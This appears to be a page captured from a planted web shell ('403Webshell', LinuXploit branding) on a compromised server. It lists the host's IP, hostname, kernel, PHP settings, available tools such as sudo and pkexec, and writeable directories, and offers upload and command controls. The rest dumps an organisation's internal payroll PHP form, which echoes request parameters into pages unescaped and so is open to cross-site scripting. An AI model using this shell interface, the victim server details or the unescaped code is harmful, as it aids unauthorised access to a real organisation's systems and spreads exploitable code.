403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/Payroll/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)pathways.org.hk/MIS20140127/old20140414/Payroll/PayRoll_Generate_From.php
<!DOCTYPE html>
<?php require_once 'PayRoll_Sql.php'; ?>
<?php
$Total_Amount = 0;
$lesson = array();
////// ### ↓Submit by Generate ###        ### ↓Submit by edit ###             ### ↓Submit by void ### /////
if (isset($_POST['btn_Submit']) || isset($_POST['btn_Submit_Save']) || isset($_POST['btn_Submit_Void'])) {

    $root_id = $_POST['root_id'];
    $create_payroll_date = $_POST['create_payroll_date'];
    $total_amount = str_replace(',', '', $_POST['total_amount']);
    $rate = $_POST['rate'];
    $rate_type = $_POST['rate_type'];
    $hour = $_POST['hour'];
    $amount = str_replace(',', '', $_POST['amount']);
    $start_date = $_POST['start_date'];
    $end_date = $_POST['end_date'];
    $search_startdate = $_POST['search_startdate'];
    $search_enddate = $_POST['search_enddate'];
    $remark = $_POST['remark'];
    // ### Update the Payroll/Payroll_line to deleted = 0 ( Edit / Void ) ### //
    if (isset($_POST['btn_Submit_Save']) || isset($_POST['btn_Submit_Void'])) {
        $payroll_id_Update = $_POST['payroll_id'];
        Update_Paryroll_Payrollline_deleted($payroll_id_Update);
    }
    // ### change lesson_attendance table payroll_gened to 0 (Void) ### //
    if (isset($_POST['btn_Submit_Void'])) {
        foreach ($_POST['lesson_id'] as $lesson)
            Change_lessonattendance_payrollgenerate($root_id, $lesson, 0);
    } else {
        // ### Insert new payroll to the DB (ADD/EDIT)  ### //
        Insert_Payroll($root_id, $create_payroll_date, $total_amount, $start_date, $end_date, $remark);
        $payroll_id = Select_Payroll_ID($root_id, $create_payroll_date, $total_amount, $start_date, $end_date);

        foreach ($_POST['lesson_id'] as $counter => $lesson) {
            Change_lessonattendance_payrollgenerate($root_id, $lesson, 1);
            Insert_Payrollline($payroll_id, $rate_type[$counter], $rate[$counter], $hour[$counter], $amount[$counter]);
        }
    }
    if (isset($_POST['btn_Submit_Save']) || isset($_POST['btn_Submit_Void']))
        header('Location: PayRoll_List.php');
    else
        echo '<script>location.href = "PayRoll_Generate_From.php?view=1&root_id='.$root_id.'&startdate='.$start_date.'&enddate='.$end_date.'&payroll_id='.$payroll_id.'&backbtnchange=1"</script>';
    //echo '<script>location.href = "PayRoll_Generate_List.php?search[start_date]=' . $search_startdate . '&search[end_date]=' . $search_enddate . '&search[\'search_button\']=&back=1";</script>';
} else {
    // ### generate the payroll data before submit ### //
    $root_id = (isset($_GET['view']) || isset($_GET['edit'])) ? $_GET['root_id'] : $_POST['root_id'];
    $search_start_date = (isset($_GET['view']) || isset($_GET['edit'])) ? $_GET['startdate'] : $_POST['startdate'];
    $search_end_date = (isset($_GET['view']) || isset($_GET['edit'])) ? $_GET['enddate'] : $_POST['enddate'];
    $dateRange = Find_dateRange($root_id, $search_start_date, $search_end_date);
    $start_date = $dateRange[1];
    $end_date = $dateRange[0];

    $sth = Payroll_staff_rootid($root_id);
    while ($ResultSet = $sth->fetch(PDO::FETCH_ASSOC)) {
        $staff_name = $ResultSet['name'];
        $staff_code = $ResultSet['staff_code'];
    }

    $lesson = Payroll_lesson_rootid($root_id, $start_date, $end_date);

    $sth = Salary_rootid($root_id);
    $salary = $sth->fetch(PDO::FETCH_NUM);
        
}
if (isset($_GET['view']) || isset($_GET['edit'])) {
    $payroll_id = $_GET['payroll_id'];
    $sth = Search_Payroll_info($payroll_id);
    $Payroll_info = $sth->fetchAll(PDO::FETCH_ASSOC);
}
?>
<html>
    <head>
        <?php require_once '../include/head.php'; ?>
        <?php require_once '../include/checkuser.php'; ?>
        <?php require_once '../include/Nav_bar.php'; ?>  
        <script>
            $(function() {
                $("#start_date").datetimepicker({autoclose: true, pickTime: false, format: 'yyyy-MM-dd'})
            })
            function Rate_change(e, newHour, root_id, id) {
                var rate = $(e).val();
                var hour = newHour;
                $.get("PayRoll_Generate_Ajax.php?rate=" + rate + "&hour=" + hour + "&root_id=" + root_id + "&row_id=" + id, Amount_change_res);
            }
            function Pay_change(e, row_id, Rate) {
                if ($(e).val() == 0) {
                    $("#Rate\\[" + row_id + "\\]").attr("disabled", true);
                    $("#Rate\\[" + row_id + "\\]").val(7);
                    $("#Rate\\[" + row_id + "\\]").next().html("");
                    $("#Rate\\[" + row_id + "\\]").next().next().val(0);
                    $("#btn_readonly\\[" + row_id + "\\]").attr("disabled", true);
                    $("#Amount_box\\[" + row_id + "\\]").val("0.00");
                    $("#Amount_box\\[" + row_id + "\\]").change();
                } else {
                    $("#Rate\\[" + row_id + "\\]").attr("disabled", false);
                    //$("#btn_readonly\\["+row_id+"\\]").attr("disabled", false);
                    $("#Rate\\[" + row_id + "\\]").val(Rate);
                    $("#Rate\\[" + row_id + "\\]").change();
                }
            }
            function Amount_change_res(res) {
                var result = res.split(" ")[0];
                var row_id = res.split(" ")[1];
                var rate = res.split(" ")[2];
                var rate6_present = res.split(" ")[3]
                if (rate == "Other_Amount") {
                    $("#btn_readonly\\[" + row_id + "\\]").attr("disabled", false);
                    $("#btn_readonly\\[" + row_id + "\\]").click();
                } else {
                    if (result == "0.00") {
                        $("#Pay\\[" + row_id + "\\]").val(0);
                        $("#Pay\\[" + row_id + "\\]").change();
                    } else {
                        $("#Amount_box\\[" + row_id + "\\]").val(result);
                        $("#Amount_box\\[" + row_id + "\\]").change();
                        if (rate6_present != 0) {
                            $("#Rate\\[" + row_id + "\\]").next().html("$ " + toDollor(rate) + " " + rate6_present + "%");
                        } else {
                            $("#Rate\\[" + row_id + "\\]").next().html("$ " + toDollor(rate));
                        }
                        $("#Rate\\[" + row_id + "\\]").next().next().val((rate));
                    }
                }
            }
            function Amountbox_readonly(e, row_id) {
                var default_ratetype = $("#default_ratetype\\[" + row_id + "\\]").val();
                if ($(e).val() == 1) {
                    $(e).val(0);
                    $(e).next().attr("readonly", false);
                    $(e).after("<button id=\"btn_OK[" + row_id + "]\" type=\"button\" class=\"btn\" onclick=\"btn_OK_onclick(this," + row_id + ");\" >OK</button>");
                    $("#Rate\\[" + row_id + "\\]").attr("disabled", true);
                    $("#Rate\\[" + row_id + "\\]").next().html("");
                    $("#Rate\\[" + row_id + "\\]").next().next().val(0);
                    $("#Rate\\[" + row_id + "\\]").blur();
                    $(e).next().next().select();
                } else {
                    $(e).next().next().attr("readonly", true);
                    $(e).val(1);
                    $(e).attr("disabled", true);
                    $(e).next().attr("disabled", true);
                    $(e).blur();
                    $("#Rate\\[" + row_id + "\\]").attr("disabled", false);
                    $("#Rate\\[" + row_id + "\\]").val(default_ratetype);
                    $("#Rate\\[" + row_id + "\\]").change();
                    $(e).next().remove();
                }
            }
            function Sum_totalamount(e) {
                var sumRow = $("#row_num_sum").val();
                var total_amount = 0;
                for (var count = 0; count < sumRow; count++) {
                    var amount = $("#Amount_box\\[" + count + "\\]").val();
                    amount = amount.replace(/\,/g, "");
                    total_amount += parseFloat(amount);
                }
                $("#total_amount").val(toDollor(total_amount));
            }
            function toDollor(amount) {
                var M = parseFloat(amount).toFixed(2).split(".");
                var dollar = M[0];
                var cent = M[1];
                dollar = dollar.split('').reverse().join("").replace(/(\d{3}(?!$))/g, '$1,').split("").reverse().join("");
                return dollar + '.' + cent.slice(0, 2);
            }
            function btn_OK_onclick(e, row_id) {
                var amount = $(e).next().val();
                amount = amount.replace(/\,/g, "");
                $(e).next().val(toDollor(amount));
                $(e).attr("disabled", true);
                $(e).next().attr("readonly", true);
                $(e).prev().attr("disabled", true);
                $("#Rate\\[" + row_id + "\\]").attr("disabled", false);
                $(e).prev().val(1);
                $(e).remove();
            }
            function Submit_input_disabled() {
                $("#table").children().each(function() {
                    $(this).find("td").each(function() {
                        $(this).find("select").attr("disabled", false);
                    });
                });
            }
        </script>
    </head>
    <body>
        <div class="text-right">
            <ul class="breadcrumb">
                <li class="active"><a href="PayRoll_Generate_List.php">Payroll Generate</a> <span class="divider">&gt;</span></li>
                <li class="active">Generate Form</li>
            </ul>
        </div>

        <div class="container-fluid pathways-container">
            <?php if (isset($_GET['view'])) { ?>
                <h3>View Form</h3>
            <?php } ?>
            <?php if (isset($_GET['edit'])) { ?>
                <h3>Edit Form</h3>
            <?php } ?>
            <?php if (!isset($_GET['view']) && !isset($_GET['edit'])) { ?>
                <h3>Generate Form</h3>
            <?php } ?>
            <div style="height: 15px;"></div>
            <form method="post" action="" autocomplete="off">
                <table>
                    <tr>
                        <!-- ### Hide ### -->
                        <td style="display: none;">
                            <input name="root_id" value="<?= $root_id ?>"/>
                            <input name="search_startdate" value="<?= $search_start_date ?>"/>
                            <input name="search_enddate" value="<?= $search_end_date ?>"/>
                            <input id="row_num_sum" value="<?= count($lesson) ?>"/>  
                            <input name="payroll_id" value="<?= $Payroll_info[0]['payroll_id'] ?>"/>
                        </td>
                        <!-- ### Hide ### -->
                        <!--  ### Staff Code ###  -->
                        <td style="width: 200px;text-align: right;padding-bottom: 5px;"><label for="staff_code">Staff Code </label></td>
                        <td style="width: 30px;"></td>
                        <td><input type="text" id="staff_code" value="<?= $staff_code ?>" readonly /></td>
                        <!--  ### Staff Name ### -->
                        <td style="width: 200px;text-align: right;padding-bottom: 5px;"><label for="staff_name">Staff name </label></td>
                        <td style="width: 10px;"></td>
                        <td><input type="text" id="staff_name" value="<?= $staff_name ?>" readonly/></td>
                    </tr>

                    <tr style="height: 15px;"></tr>

                    <tr>
                        <!--  ### Start Date ###-->
                        <td style="width: 200px;text-align: right;padding-bottom: 5px;"><label for="start_date">Start Date </label></td>
                        <td style="width: 30px;"></td>
                        <td><input type="text" id="start date" name="start_date" value="<?= $start_date ?>" readonly/></td>
                        <!--  ### End Date ###-->  
                        <td style="width: 200px;text-align: right;padding-bottom: 5px;"><label for="end_date">End Date </label></td>
                        <td style="width: 30px;"></td>
                        <td><input type="text" id="end_date" name="end_date" value="<?= $end_date ?>" readonly/></td>
                    </tr>
                    <tr style="height: 15px;"></tr>
                    <tr>
                        <td style="text-align: right;padding-bottom: 5px;">Payroll Date</td>
                        <td></td>
                        <td>
                            <div id="start_date" class="input-append date form_datetime datetime_picker">
                                <input type="text" <?= (isset($_GET['view'])) ? "disabled" : "" ?> id="start_date_input"  name="create_payroll_date" style="width: 180px;" value="<?= date("Y/m/d", time()) ?>"/>
                                <?php if (!isset($_GET['view'])) { ?> <span class="add-on"><i class="icon-calendar"></i></span> <?php } ?>
                            </div>
                        </td>
                    </tr>
                </table>

                <hr/>

                <table class="table table-striped table-bordered table-hover table-condensed">
                    <thead>
                        <tr>
                            <th>Date</th>
                            <th>Code</th>
                            <th>Start Time</th>
                            <th>End Time</th>
                            <th>Time (Hrs) </th>
                            <th>Attend (P/A)</th>
                            <th>Remark</th>
                            <th>Teaching Role</th>
                            <th style="width: 80px;">Pay</th>
                            <th style="width: 130px;">Rate</th>
                            <th style="width: 150px;">Amount</th>
                        </tr>
                    </thead>
                    <tbody  id="table">
                        <?php foreach ($lesson as $k => $array) { ?>                        
                            <?php $Total_Amount += $Amount = (Cal_Salary($salary, $array['rate_type'], $hour = number_format((strtotime($array['end_time']) - strtotime($array['start_time'])) / 3600, 2))); ?>
                            <tr>
                                <!-- ### Hidden ### -->
                                <td style="display: none;">                                    
                                    <input name="hour[]" value="<?= number_format($hour / 60, 0) ?>"/>
                                    <input name="lesson_id[]" value="<?= $array['lesson_id'] ?>"/>   
                                    <input id="default_ratetype[<?= $k ?>]" value="<?= $array['rate_type'] ?>"/> 
                                    <input name="remark" value="<?= (isset($array['reason_id'])) ? $array['reason_id'] : 0 ?>" />
                                </td>
                                <!-- ### Hidden ###  -->
                                <td><?= $array['date'] ?></td>
                                <td><?= $array['event_code'] ?></td>
                                <td><?= $array['start_time'] ?></td>
                                <td><?= $array['end_time'] ?></td>
                                <td><?= (number_format($hour, 2)) ?></td>
                                <td><?= ($array['attendance'] == 1) ? "Present" : "Absent" ?></td>
                                <td><?= $array['reason_name'] ?></td>
                                <td>
                                    <?php echo Rate_display($array['rate_type'], $array['is_substitute']); ?>
                                </td>
                                <td>           
                                    <?php if (isset($array['reason_name'])) { ?>
                                        <script>$(function() {
                                                $("#Pay\\[" +<?= $k ?> + "\\]").change();
                                            })</script>
                                    <?php } ?>
                                    <select <?= isset($array['reason_name']) ? "disabled" : "" ?> style="width: 100%;margin-bottom: 1px;" id="Pay[<?= $k ?>]" name="Pay[]" onchange="Pay_change(this,<?= $k ?>,<?= $array['rate_type'] ?>);" <?= (isset($_GET['view'])) ? "disabled" : "" ?>>
                                        <option <?= ($array['is_charge'] == 1) ? "selected" : "" ?> value="1">Yes</option>
                                        <option <?= isset($array['reason_name']) ? "selected" : "" ?><?= ($array['is_charge'] == 0) ? "selected" : "" ?> value="0">No</option>
                                    </select>
                                </td>
                                <td style="width: 200px;">
                                    <select style="width: 100%;margin-bottom: 1px;" id="Rate[<?= $k ?>]" name="rate_type[]" onchange="Rate_change(this,<?= $hour ?>,<?= $root_id ?>,<?= $k ?>);" <?= (isset($_GET['view'])) ? "disabled" : "" ?> >
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 0) ? "selected" : ""  : ($array['rate_type'] == 0) ? "selected" : ""  ?> value="0">Rate 0 | $ <?=$salary[0]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 1) ? "selected" : ""  : ($array['rate_type'] == 1) ? "selected" : ""  ?> value="1">Rate 1 | $ <?=$salary[1]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 2) ? "selected" : ""  : ($array['rate_type'] == 2) ? "selected" : ""  ?> value="2">Rate 2 | $ <?=$salary[2]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 3) ? "selected" : ""  : ($array['rate_type'] == 3) ? "selected" : ""  ?> value="3">Rate 3 | $ <?=$salary[3]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 4) ? "selected" : ""  : ($array['rate_type'] == 4) ? "selected" : ""  ?> value="4">Rate 4 | $ <?=$salary[4]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 5) ? "selected" : ""  : ($array['rate_type'] == 5) ? "selected" : ""  ?> value="5">Rate 5 | $ <?=$salary[5]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 6) ? "selected" : ""  : ($array['rate_type'] == 6) ? "selected" : ""  ?> value="6">Rate 6 | $ <?=$salary[6]?></option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 9) ? "selected" : ""  : ($array['rate_type'] == 9) ? "selected" : ""  ?> value="9">Other Amount</option>
                                        <option <?= (isset($Payroll_info[$k]['rate_type'])) ? ($Payroll_info[$k]['rate_type'] == 8) ? "selected" : ""  : ($array['rate_type'] == 8) ? "selected" : ""  ?> value="8">No Pay</option>
                                    </select>
                                    <label style="margin-bottom: 1px;"><?= (isset($Payroll_info[$k]['rate'])) ? ($Payroll_info[$k]['rate'] == 0) ? "" : "$ " . $Payroll_info[$k]['rate']  : "$ " . number_format(Find_Ratetype($salary, $array['rate_type']), 2) ?></label>
                                    <input type="hidden" name="rate[]" value="<?= (isset($Payroll_info[$k]['rate'])) ? $Payroll_info[$k]['rate'] : (Find_Ratetype($salary, $array['rate_type'])) ?>"/>
                                </td>
                                <td>
                                    <div class="input-prepend" style="margin-bottom: 1px;">
                                        <button id="btn_readonly[<?= $k ?>]" type="button" class="btn" onclick="Amountbox_readonly(this,<?= $k ?>);" value="1" disabled>$</button>
                                        <input readonly id="Amount_box[<?= $k ?>]" name="amount[]" type="text" style="width: 150px;text-align: right" value="<?= (isset($_GET['view']) || isset($_GET['edit'])) ? number_format($Payroll_info[$k]['amount'], 2) : number_format($Amount, 2) ?>" onchange="Sum_totalamount(this);" />            
                                    </div>
                                </td>
                            </tr>
                        <?php } ?>                            
                        <tr>                            
                            <td colspan="10" style="text-align: right;"> Total Amount :</td>
                            <td>
                                <div class="input-prepend" style="margin-bottom: 1px;">
                                    <button type="button" class="btn" disabled >$</button>
                                    <input readonly type="text" id="total_amount" name="total_amount" style="width: 150px;text-align: right" value="<?= (isset($_GET['view']) || isset($_GET['edit'])) ? number_format($Payroll_info[$k]['total_amount'], 2, ".", ",") : number_format($Total_Amount, 2, ".", ",") ?>">            
                                </div>
                            </td>
                        </tr>
                    </tbody>
                </table>
                <hr/>
                <?php if (isset($_GET['view'])) { ?>
                    <a href="PayRoll_Generate_From.php?edit=1&root_id=<?= $_GET['root_id'] ?>&startdate=<?= $_GET['startdate'] ?>&enddate=<?= $_GET['enddate'] ?>&payroll_id=<?= $_GET['payroll_id'] ?>" class="btn btn-danger">Edit</a>
                <?php } ?>
                <?php if (isset($_GET['edit'])) { ?>
                    <button onclick="Submit_input_disabled();"type="Submit" name="btn_Submit_Save" class="btn btn-danger">Save</button>
                    <button onclick="Submit_input_disabled();" type="Submit" name="btn_Submit_Void" class="btn btn-danger">Void</button>
                <?php } else { ?>
                    <button <?= isset($_GET['view']) ? "style=\"display:none;\"" : "" ?> onclick="Submit_input_disabled();" type="Submit" name="btn_Submit" class="btn btn-danger">Generate</button>
                <?php } ?>
                <button type="button" onclick="<?=$_GET['backbtnchange']==1?"history.go(-2)":"history.back()"?>;"class="btn btn-danger">Back</button>

            </form>
        </div> <!-- /container -->        
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit